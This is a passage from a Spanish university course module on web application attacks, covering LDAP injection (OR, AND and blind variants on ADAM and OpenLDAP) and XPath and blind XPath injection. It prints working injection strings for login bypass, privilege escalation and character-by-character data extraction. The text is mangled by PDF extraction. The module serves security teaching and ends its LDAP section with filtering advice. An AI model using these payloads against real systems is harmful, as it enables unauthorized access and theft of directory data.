de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
